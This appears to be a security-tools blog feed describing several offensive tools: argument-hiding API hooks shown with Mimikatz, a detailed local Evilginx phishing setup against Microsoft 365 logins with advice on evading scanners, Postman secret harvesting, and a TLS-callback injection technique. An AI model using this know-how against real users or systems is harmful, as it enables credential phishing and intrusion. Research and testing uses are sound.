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Today β€” 16 April 2024Main stream

NoArgs - Tool Designed To Dynamically Spoof And Conceal Process Arguments While Staying Undetected

By: Zion3R
16 April 2024 at 12:30


NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.


Default Cmd:


Windows Event Logs:


Using NoArgs:


Windows Event Logs:


Functionality Overview

The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.

Hooking Mechanism

Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.

Process Environment Block (PEB) Manipulation

The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.

Demo: Running Mimikatz and passing it the arguments:

Process Hacker View:


All the arguemnts are hidden dynamically

Process Monitor View:


Technical Implementation

  1. Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)

  2. Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.

  3. Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.

  4. PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.

  5. Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.

Installation and Usage:

Option 1: Compile NoArgs DLL:

  • You will need microsoft/Detours">Microsoft Detours installed.

  • Compile the DLL.

  • Inject the compiled DLL into any cmd instance to manipulate newly created process arguments dynamically.

Option 2: Download the compiled executable (ready-to-go) from the releases page.

Refrences:

  • https://en.wikipedia.org/wiki/Microsoft_Detours
  • https://github.com/microsoft/Detours
  • https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
  • https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++


Yesterday β€” 15 April 2024Main stream

Frameless-Bitb - A New Approach To Browser In The Browser (BITB) Without The Use Of Iframes, Allowing The Bypass Of Traditional Framebusters Implemented By Login Pages Like Microsoft And The Use With Evilginx

By: Zion3R
15 April 2024 at 12:30


A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.

This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.


Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. β–Ά Watch Video

β˜•οΈŽ Buy Me A Coffee

Video Tutorial: πŸ‘‡

Disclaimer

This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.

Backstory - The Why

Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.

That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.

The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.

In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.

The What

A Browser In The Browser (BITB) without any iframes! As simple as that.

Meaning that we can now use BITB with Evilginx on websites like Microsoft.

Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.

The How

Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.

Instructions

Video Tutorial


Local VM:

Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)

Update and Upgrade system packages:

sudo apt update && sudo apt upgrade -y

Evilginx Setup:

Optional:

Create a new evilginx user, and add user to sudo group:

sudo su

adduser evilginx

usermod -aG sudo evilginx

Test that evilginx user is in sudo group:

su - evilginx

sudo ls -la /root

Navigate to users home dir:

cd /home/evilginx

(You can do everything as sudo user as well since we're running everything locally)

Setting Up Evilginx

Download and build Evilginx: Official Docs

Copy Evilginx files to /home/evilginx

Install Go: Official Docs

wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile

ADD: export PATH=$PATH:/usr/local/go/bin

source ~/.profile

Check:

go version

Install make:

sudo apt install make

Build Evilginx:

cd /home/evilginx/evilginx2
make

Create a new directory for our evilginx build along with phishlets and redirectors:

mkdir /home/evilginx/evilginx

Copy build, phishlets, and redirectors:

cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Ubuntu firewall quick fix (thanks to @kgretzky)

sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

On Ubuntu, if you get Failed to start nameserver on: :53 error, try modifying this file

sudo nano /etc/systemd/resolved.conf

edit/add the DNSStubListener to no > DNSStubListener=no

then

sudo systemctl restart systemd-resolved

Modify Evilginx Configurations:

Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443.

nano ~/.evilginx/config.json

CHANGE https_port from 443 to 8443

Install Apache2 and Enable Mods:

Install Apache2:

sudo apt install apache2 -y

Enable Apache2 mods that will be used: (We are also disabling access_compat module as it sometimes causes issues)

sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Start and enable Apache:

sudo systemctl start apache2
sudo systemctl enable apache2

Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine.

Clone this Repo:

Install git if not already available:

sudo apt -y install git

Clone this repo:

git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb

Apache Custom Pages:

Make directories for the pages we will be serving:

  • home: (Optional) Homepage (at base domain)
  • primary: Landing page (background)
  • secondary: BITB Window (foreground)
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Copy the directories for each page:


sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Optional: Remove the default Apache page (not used):

sudo rm -r /var/www/html/

Copy the O365 phishlet to phishlets directory:

sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Optional: To set the Calendly widget to use your account instead of the default I have inside, go to pages/primary/script.js and change the CALENDLY_PAGE_NAME and CALENDLY_EVENT_TYPE.

Note on Demo Obfuscation: As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening demo-obfuscator.html in your browser. In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.

Self-signed SSL certificates:

Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.

We will use the domain fake.com which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)

Create dir and parents if they do not exist:

sudo mkdir -p /etc/ssl/localcerts/fake.com/

Generate the SSL certs using the OpenSSL config file:

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Modify private key permissions:

sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Apache Custom Configs:

Copy custom substitution files (the core of our approach):

sudo cp -r ./custom-subs /etc/apache2/custom-subs

Important Note: In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.

Both config files under /apache-configs/ are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)

# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Simply to make it easier, I included both versions as separate files for this next step.

Windows/Chrome BITB:

sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Test Apache configs to ensure there are no errors:

sudo apache2ctl configtest

Restart Apache to apply changes:

sudo systemctl restart apache2

Modifying Hosts:

Get the IP of the VM using ifconfig and note it somewhere for the next step.

We now need to add new entries to our hosts file, to point the domain used in this demo fake.com and all used subdomains to our VM on which Apache and Evilginx are running.

On Windows:

Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)

Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:

C:\Windows\System32\drivers\etc\

Change the file types (bottom-right) to "All files".

Double-click the file named hosts

On Mac:

Open a terminal and run the following:

sudo nano /private/etc/hosts

Now modify the following records (replace [IP] with the IP of your VM) then paste the records at the end of the hosts file:

# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

Save and exit.

Now restart your browser before moving to the next step.

Note: On Mac, use the following command to flush the DNS cache:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Important Note:

This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use phishlet get-hosts [PHISHLET_NAME] but remember to replace the 127.0.0.1 with the actual local IP of your VM.

Trusting the Self-Signed SSL Certs:

Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit fake.com so we need to make our host machine trust the certificate authority that signed the SSL certs.

For this step, it's easier to follow the video instructions, but here is the gist anyway.

Open https://fake.com/ in your Chrome browser.

Ignore the Unsafe Site warning and proceed to the page.

Click the SSL icon > Details > Export Certificate IMPORTANT: When saving, the name MUST end with .crt for Windows to open it correctly.

Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".

On Mac: to install for current user only > select "Keychain: login" AND click on "View Certificates" > details > trust > Always trust

Now RESTART your Browser

You should be able to visit https://fake.com now and see the homepage without any SSL warnings.

Running Evilginx:

At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.

Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)

sudo apt install tmux -y

Start Evilginx in developer mode (using tmux to avoid losing the session):

tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer

(To re-attach to the tmux session use tmux attach-session -t evilginx)

Evilginx Config:

config domain fake.com
config ipv4 127.0.0.1

IMPORTANT: Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.

blacklist noadd

Setup Phishlet and Lure:

phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0

Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).

Useful Resources

Original iframe-based BITB by @mrd0x: https://github.com/mrd0x/BITB

Evilginx Mastery Course by the creator of Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery

My talk at BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg

How to protect Evilginx using Cloudflare and HTML Obfuscation: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

Evilginx resources for Microsoft 365 by @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • Create script(s) to automate most of the steps


Before yesterdayMain stream

Toolkit - The Essential Toolkit For Reversing, Malware Analysis, And Cracking

By: Zion3R
14 April 2024 at 21:24


This tool compilation is carefully crafted with the purpose of being useful both for the beginners and veterans from the malware analysis world. It has also proven useful for people trying their luck at the cracking underworld.

It's the ideal complement to be used with the manuals from the site, and to play with the numbered theories mirror.


Advantages

To be clear, this pack is thought to be the most complete and robust in existence. Some of the pros are:

  1. It contains all the basic (and not so basic) tools that you might need in a real life scenario, be it a simple or a complex one.

  2. The pack is integrated with an Universal Updater made by us from scratch. Thanks to that, we get to mantain all the tools in an automated fashion.

  3. It's really easy to expand and modify: you just have to update the file bin\updater\tools.ini to integrate the tools you use to the updater, and then add the links for your tools to bin\sendto\sendto, so they appear in the context menus.

  4. The installer sets up everything we might need automatically - everything, from the dependencies to the environment variables, and it can even add a scheduled task to update the whole pack of tools weekly.

Installation

  1. You can simply download the stable versions from the release section, where you can also find the installer.

  2. Once downloaded, you can update the tools with the Universal Updater that we specifically developed for that sole purpose.
    You will find the binary in the folder bin\updater\updater.exe.

Tool set

This toolkit is composed by 98 apps that cover everything we might need to perform reverse engineering and binary/malware analysis.
Every tool has been downloaded from their original/official websites, but we still recommend you to use them with caution, specially those tools whose official pages are forum threads. Always exercise common sense.
You can check the complete list of tools here.

About contributions

Pull Requests are welcome. If you'd want to propose big changes, you should first create an Issue about it, so we all can analyze and discuss it. The tools are compressed with 7-zip, and the format used for nomenclature is {name} - {version}.7z



Porch-Pirate - The Most Comprehensive Postman Recon / OSINT Client And Framework That Facilitates The Automated Discovery And Exploitation Of API Endpoints And Secrets Committed To Workspaces, Collections, Requests, Users And Teams

By: Zion3R
12 April 2024 at 12:30


Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.

Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:

  • Workspaces
  • Collections
  • Requests
  • Users
  • Teams

Installation

python3 -m pip install porch-pirate

Using the client

The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.

Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.

  • --globals
  • --collections
  • --requests
  • --urls
  • --dump
  • --raw
  • --curl

Simple Search

porch-pirate -s "coca-cola.com"

Get Workspace Globals

By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8

Dump Workspace

When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump

Automatic Search and Globals Extraction

Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.

porch-pirate -s "shopify" --globals

Automatic Search Dump

Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.

porch-pirate -s "coca-cola.com" --dump

Extract URLs from Workspace

A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls

Automatic URL Extraction

Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.

porch-pirate -s "coca-cola.com" --urls

Show Collections in a Workspace

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections

Show Workspace Requests

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests

Show raw JSON

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw

Show Entity Information

porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME

Convert Request to Curl

Porch Pirate can build curl requests when provided with a request ID for easier testing.

porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl

Use a proxy

porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080

Using as a library

Searching

p = porchpirate()
print(p.search('coca-cola.com'))

Get Workspace Collections

p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Dumping a Workspace

p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)

Grabbing a Workspace's Globals

p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Other Examples

Other library usage examples can be located in the examples directory, which contains the following examples:

  • dump_workspace.py
  • format_search_results.py
  • format_workspace_collections.py
  • format_workspace_globals.py
  • get_collection.py
  • get_collections.py
  • get_profile.py
  • get_request.py
  • get_statistics.py
  • get_team.py
  • get_user.py
  • get_workspace.py
  • recursive_globals_from_search.py
  • request_to_curl.py
  • search.py
  • search_by_page.py
  • workspace_collections.py


APKDeepLens - Android Security Insights In Full Spectrum

By: Zion3R
11 April 2024 at 12:30


APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.


Features

APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:

  • APK Analysis -> Scans Android application package (APK) files for security vulnerabilities.
  • OWASP Coverage -> Covers OWASP Top 10 vulnerabilities to ensure a comprehensive security assessment.
  • Advanced Detection -> Utilizes custom python code for APK file analysis and vulnerability detection.
  • Sensitive Information Extraction -> Identifies potential security risks by extracting sensitive information from APK files, such as insecure authentication/authorization keys and insecure request protocols.
  • In-depth Analysis -> Detects insecure data storage practices, including data related to the SD card, and highlights the use of insecure request protocols in the code.
  • Intent Filter Exploits -> Pinpoint vulnerabilities by analyzing intent filters extracted from AndroidManifest.xml.
  • Local File Vulnerability Detection -> Safeguard your app by identifying potential mishandlings related to local file operations
  • Report Generation -> Generates detailed and easy-to-understand reports for each scanned APK, providing actionable insights for developers.
  • CI/CD Integration -> Designed for easy integration into CI/CD pipelines, enabling automated security testing in development workflows.
  • User-Friendly Interface -> Color-coded terminal outputs make it easy to distinguish between different types of findings.

Installation

To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:

For Linux

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd /APKDeepLens
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python APKDeepLens.py --help

For Windows

git clone https://github.com/d78ui98/APKDeepLens/tree/main
cd \APKDeepLens
python3 -m venv venv
.\venv\Scripts\activate
pip install -r .\requirements.txt
python APKDeepLens.py --help

Usage

To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.

python3 APKDeepLens.py -apk file.apk

If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.

python3 APKDeepLens.py -apk file.apk -source <source-code-path>

To generate detailed PDF and HTML reports after the scan you can pass -report argument as mentioned below.

python3 APKDeepLens.py -apk file.apk -report

Contributing

We welcome contributions to the APKDeepLens project. If you have a feature request, bug report, or proposal, please open a new issue here.

For those interested in contributing code, please follow the standard GitHub process. We'll review your contributions as quickly as possible :)

Featured at



RemoteTLSCallbackInjection - Utilizing TLS Callbacks To Execute A Payload Without Spawning Any Threads In A Remote Process

By: Zion3R
10 April 2024 at 12:30


This method utilizes TLS callbacks to execute aΒ payloadΒ without spawning any threads in a remote process. This method is inspired byΒ Threadless InjectionΒ as RemoteTLSCallbackInjection does not invoke any API calls to trigger the injectedΒ payload.

Quick Links

Maldev Academy Home

Maldev Academy Syllabus

Related Maldev Academy Modules

New Module 34: TLS Callbacks For Anti-Debugging

New Module 35: Threadless Injection



Implementation Steps

The PoC follows these steps:

  1. Create a suspended process using the CreateProcessViaWinAPIsW function (i.e. RuntimeBroker.exe).
  2. Fetch the remote process image base address followed by reading the process's PE headers.
  3. Fetch an address to a TLS callback function.
  4. Patch a fixed shellcode (i.e. g_FixedShellcode) with runtime-retrieved values. This shellcode is responsible for restoring both original bytes and memory permission of the TLS callback function's address.
  5. Inject both shellcodes: g_FixedShellcode and the main payload.
  6. Patch the TLS callback function's address and replace it with the address of our injected payload.
  7. Resume process.

The g_FixedShellcode shellcode will then make sure that the main payload executes only once by restoring the original TLS callback's original address before calling the main payload. A TLS callback can execute multiple times across the lifespan of a process, therefore it is important to control the number of times the payload is triggered by restoring the original code path execution to the original TLS callback function.

Demo

The following image shows our implementation, RemoteTLSCallbackInjection.exe, spawning a cmd.exe as its main payload.



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